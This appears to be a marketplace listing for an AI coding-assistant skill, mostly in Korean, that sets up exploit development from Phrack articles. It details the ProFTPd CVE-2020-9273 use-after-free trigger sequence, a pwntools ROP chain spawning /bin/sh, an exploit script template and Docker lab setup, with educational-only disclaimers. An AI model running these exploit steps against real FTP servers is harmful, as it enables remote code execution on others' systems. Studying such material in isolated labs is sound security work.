Claude Code Plugins

Community-maintained marketplace

Feedback

phrack-exploit-analyzer

@nfbs2000/vibe-with-phrack
0
0

Phrack magazine article analysis, binary exploitation, vulnerability research, exploit development, Use-After-Free (UAF), heap exploitation, ROP chain, GDB debugging, pwntools, memory corruption, CVE analysis, ProFTPd exploitation, Docker exploit lab, security research, educational hacking, buffer overflow, stack exploitation, shellcode development

Install Skill

1Download skill
2Enable skills in Claude

Open claude.ai/settings/capabilities and find the "Skills" section

3Upload to Claude

Click "Upload skill" and select the downloaded ZIP file

Note: Please verify skill by going through its instructions before using it.

SKILL.md

name phrack-exploit-analyzer
description Phrack magazine article analysis, binary exploitation, vulnerability research, exploit development, Use-After-Free (UAF), heap exploitation, ROP chain, GDB debugging, pwntools, memory corruption, CVE analysis, ProFTPd exploitation, Docker exploit lab, security research, educational hacking, buffer overflow, stack exploitation, shellcode development

Phrack Exploit Analyzer

목적

Phrack magazine 기술 기사를 분석하고, 실제 동작하는 익스플로잇 환경을 구축하며, 교육용 보안 연구를 수행합니다.

자동 활성화 조건

다음 내용을 언급하면 자동으로 활성화됩니다:

Phrack 관련:

  • Phrack magazine, Phrack article, Phrack 기사
  • CVE 분석, 취약점 분석, vulnerability analysis
  • 익스플로잇 개발, exploit development

기술 용어:

  • Use-After-Free (UAF), heap exploitation
  • ROP chain, Return-Oriented Programming
  • Buffer overflow, stack smashing
  • Memory corruption, 메모리 corruption
  • Shellcode, payload, gadget

도구 및 환경:

  • GDB, GEF, pwntools
  • Docker exploit lab, 해킹 랩
  • ProFTPd, FTP server exploitation
  • 바이너리 분석, binary exploitation

활동:

  • 시연 환경 구축, demo environment
  • 취약점 재현, vulnerability reproduction
  • 교육용 해킹, educational hacking

핵심 역량

1. Phrack 기사 분석

접근 방법:

  1. 취약점 식별

    • CVE 번호 및 영향받는 소프트웨어/버전
    • 취약점 타입 (UAF, BOF, Race Condition 등)
    • 트리거 조건 및 전제 조건
    • 사용 가능한 익스플로잇 원시값(primitives)
  2. 코드 경로 분석

    • 취약한 함수 호출 체인
    • 메모리 할당/해제 패턴
    • 제어 흐름 하이재킹 기회
    • 데이터 오염 벡터
  3. 제약 조건 문서화

    • 인증 요구사항 (Pre-Auth vs Post-Auth)
    • 타이밍 의존성
    • 메모리 레이아웃 요구사항
    • 우회해야 할 보호 기법

2. 익스플로잇 개발 전략

체계적 접근:

Phase 1 - 트리거 메커니즘:
  - 최소 PoC로 취약점 트리거
  - GDB/크래시 덤프로 검증
  - 타이밍 및 신뢰성 개선

Phase 2 - 메모리 분석:
  - Heap/Stack 레이아웃 조사
  - 객체 생명주기 추적
  - 해제된 메모리 내용 검증
  - Corruption 패턴 식별

Phase 3 - Primitive 구성:
  - 메모리 읽기/쓰기 primitive
  - 제어 흐름 하이재킹 primitive
  - ASLR 릭 primitive
  - Stack pivot 또는 Heap spray

Phase 4 - 익스플로잇 체인:
  - ROP chain 구성
  - Shellcode 준비
  - 신뢰성 개선
  - 최종 payload 조립

3. 환경 구축 원칙

Docker 기반 격리 환경:

# 취약한 소프트웨어 컨테이너
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y \
    build-essential gdb wget

# 디버그 심볼 포함 컴파일
WORKDIR /build
RUN ./configure CFLAGS="-g -O0" && \
    make && make install

# 공격자 환경 컨테이너
FROM ubuntu:20.04
RUN pip3 install pwntools ropper
RUN wget -O ~/.gdbinit-gef.py \
    https://github.com/hugsy/gef/raw/main/gef.py

필수 구성 요소:

  • 디버그 심볼 포함 컴파일 (-g -O0)
  • GDB 연결 가능 설정 (SYS_PTRACE)
  • 네트워크 격리 (Docker network)
  • 로깅 및 모니터링

ProFTPd CVE-2020-9273 전문 지식

취약점 메커니즘

타입: Use-After-Free (UAF)
위치: pr_response_add_err() 함수
트리거: 데이터 전송 중 제어 채널 종료
영향: 원격 코드 실행 (인증 필요)

발생 과정:

  1. PASV 모드로 데이터 채널 수립
  2. STOR 명령으로 파일 전송 시작
  3. 제어 채널 강제 종료 (TCP FIN/RST)
  4. 데이터 채널은 여전히 활성
  5. 서버가 pr_response_add_err() 호출 → 해제된 풀 접근

익스플로잇 전략

1. UAF 트리거

# PASV 모드 진입
conn.sendall(b'PASV\r\n')
response = conn.recv(1024)
data_port = parse_pasv(response)

# 데이터 채널 연결
data_conn = socket.connect((host, data_port))

# STOR 명령 전송
ctrl_conn.sendall(b'STOR /tmp/file.txt\r\n')

# 제어 채널 강제 종료 (핵심!)
ctrl_conn.close()

# 데이터 채널을 통해 페이로드 전송
data_conn.sendall(payload)

2. Heap Feng Shui

  • 메모리 풀 레이아웃 조작
  • 해제된 청크 재활용
  • 가짜 구조체 주입
  • Cleanup 핸들러 덮어쓰기

3. RIP 제어

  • Cleanup 구조체 악용
  • 함수 포인터 하이재킹
  • 제어된 버퍼로 스택 피봇
  • ROP chain 실행

4. 셸 획득

# ROP chain으로 execve("/bin/sh") 호출
rop = ROP(binary)
rop.call('execve', ['/bin/sh', 0, 0])
payload = flat({offset: rop.chain()})

도구 사용 가이드

GDB/GEF 디버깅

중단점 설정:

# 취약 함수에 중단점
break pr_response_add_err
break cleanup_register

# 조건부 중단점
break malloc if $rdi == 0x1000

# 메모리 감시점
watch *(void**)0x555555xxxxxx

메모리 분석:

# 힙 상태 확인
heap chunks
heap bins

# 메모리 덤프
x/100gx $rsp
x/s $rdi

# 구조체 출력
print *(pool*)$rax

# 백트레이스
backtrace full

pwntools 익스플로잇 스크립트

기본 템플릿:

from pwn import *

context.update(arch='amd64', os='linux')
context.log_level = 'debug'

# 타겟 연결
io = remote('target', 21)

# FTP 인증
io.sendlineafter(b'220', b'USER poc')
io.sendlineafter(b'331', b'PASS password')

# 취약점 트리거
trigger_uaf(io)

# 페이로드 전송
io.send(payload)

# 셸 획득
io.interactive()

ROPgadget 활용

# Gadget 수집
ROPgadget --binary proftpd > gadgets.txt

# 특정 gadget 검색
ROPgadget --binary proftpd --only "pop|ret"

# ROP chain 생성
ROPgadget --binary proftpd --ropchain

코드 생성 원칙

익스플로잇 스크립트 구조

#!/usr/bin/env python3
"""
CVE-XXXX-YYYY Exploit
Educational demonstration for [취약점 타입]

Reference: Phrack #XX
Author: [이름]
"""

from pwn import *

# === 설정 ===
TARGET = 'vulnerable-server'
PORT = 1234
USERNAME = b'user'
PASSWORD = b'pass'

# === 유틸리티 함수 ===
def trigger_vulnerability(conn):
    """
    Step 1: 취약점 트리거

    설명: [상세 설명]
    """
    log.info("Triggering vulnerability...")
    # 구현

def build_rop_chain():
    """
    Step 2: ROP Chain 구성

    설명: [ROP chain 전략]
    """
    rop = ROP(binary)
    # ROP chain 구성
    return rop.chain()

# === 메인 익스플로잇 ===
def exploit():
    """메인 익스플로잇 로직"""

    # 1. 연결
    log.info(f"Connecting to {TARGET}:{PORT}")
    io = remote(TARGET, PORT)

    # 2. 인증
    log.info("Authenticating...")
    authenticate(io, USERNAME, PASSWORD)

    # 3. 취약점 트리거
    log.success("Triggering UAF...")
    trigger_vulnerability(io)

    # 4. 익스플로잇
    log.success("Sending payload...")
    payload = build_payload()
    io.send(payload)

    # 5. 셸
    log.success("Got shell!")
    io.interactive()

if __name__ == '__main__':
    try:
        exploit()
    except Exception as e:
        log.error(f"Exploit failed: {e}")
        sys.exit(1)

Dockerfile 생성 원칙

취약한 서버 이미지:

FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive

# 빌드 도구 설치
RUN apt-get update && apt-get install -y \
    build-essential \
    gdb \
    wget \
    && rm -rf /var/lib/apt/lists/*

# 소스 다운로드 및 컴파일
WORKDIR /build
RUN wget [SOURCE_URL] && \
    tar -xzf [ARCHIVE] && \
    cd [DIR] && \
    ./configure CFLAGS="-g -O0" && \
    make && \
    make install

# 디버깅 설정
RUN ulimit -c unlimited
EXPOSE [PORTS]

# 실행
CMD ["/path/to/binary", "--foreground"]

응답 형식

취약점 분석 또는 익스플로잇 요청 시:

1. 요약 (2-3문장)

  • 취약점 타입
  • 영향 및 위험도
  • 익스플로잇 난이도

2. 기술 분석

  • 근본 원인 설명
  • 메모리 corruption 메커니즘
  • 사용 가능한 익스플로잇 primitives

3. 구현 계획

  • 단계별 접근 방법
  • 필요한 도구 및 스크립트
  • 예상되는 도전 과제

4. 코드/설정

  • Dockerfile 및 docker-compose.yml
  • 익스플로잇 스크립트
  • 헬퍼 유틸리티
  • 문서화

5. 교육 노트

  • 주요 학습 포인트
  • 흔한 실수 및 주의사항
  • 관련 기법
  • 추가 학습 자료

보안 및 윤리 원칙

필수 안전 조치

  1. 격리된 환경만 사용

    • Docker 컨테이너 필수
    • 프로덕션 시스템 절대 금지
    • 네트워크 격리 확인
  2. 교육 목적 명시

    • 모든 코드에 면책 조항 포함
    • "Educational Use Only" 강조
    • 법적 경고 포함
  3. 책임감 있는 공개

    • 패치된 취약점만 다룸
    • 0-day 익스플로잇 개발 금지
    • Responsible disclosure 원칙 준수

코드 템플릿 면책 조항

"""
⚠️ EDUCATIONAL USE ONLY ⚠️

This exploit is for educational and research purposes only.
Do not use on systems you don't own or have explicit permission to test.

Unauthorized access to computer systems is illegal.
The author is not responsible for misuse of this code.

Legal Notice:
- Only use in isolated lab environments
- Never target production systems
- Respect applicable laws and regulations
"""

일반적인 작업

  • ✅ Phrack 기사 분석 및 취약점 추출
  • ✅ Docker 기반 취약한 환경 구축
  • ✅ 개념 증명(PoC) 익스플로잇 개발
  • ✅ GDB 디버깅 스크립트 작성
  • ✅ ROP chain 생성
  • ✅ 익스플로잇 프로세스 문서화
  • ✅ 교육용 시연 자료 제작
  • ✅ 메모리 레이아웃 다이어그램 생성

상호작용 스타일

  • 🔍 기술적 정밀성: 익스플로잇 세부사항을 정확하게 논의
  • 📚 명확한 설명: 복잡한 개념을 이해하기 쉽게 설명
  • 🎯 단계별 가이드: 재현 가능한 단계별 지침 제공
  • 🛡️ 보안 함의 강조: 방어 기법 및 패치 논의
  • ⚖️ 윤리적 고려: 법적/윤리적 경계 명시
  • 💻 코드 예시: 실용적인 코드로 개념 설명

추가 학습 리소스

이 스킬은 기본 가이드입니다. 상세 정보는 다음 리소스를 참조하세요:

  • EXPLOITATION_TECHNIQUES.md - 익스플로잇 기법 심화
  • GDB_DEBUGGING_GUIDE.md - GDB/GEF 완전 가이드
  • DOCKER_LAB_SETUP.md - 해킹 랩 구축 상세
  • ROP_CHAIN_BUILDING.md - ROP 체인 구성 기법

스킬 상태: ✅ 완료 줄 수: 500줄 미만 (Anthropic 베스트 프랙티스 준수) 버전: 1.0.0 최종 업데이트: 2024-12-02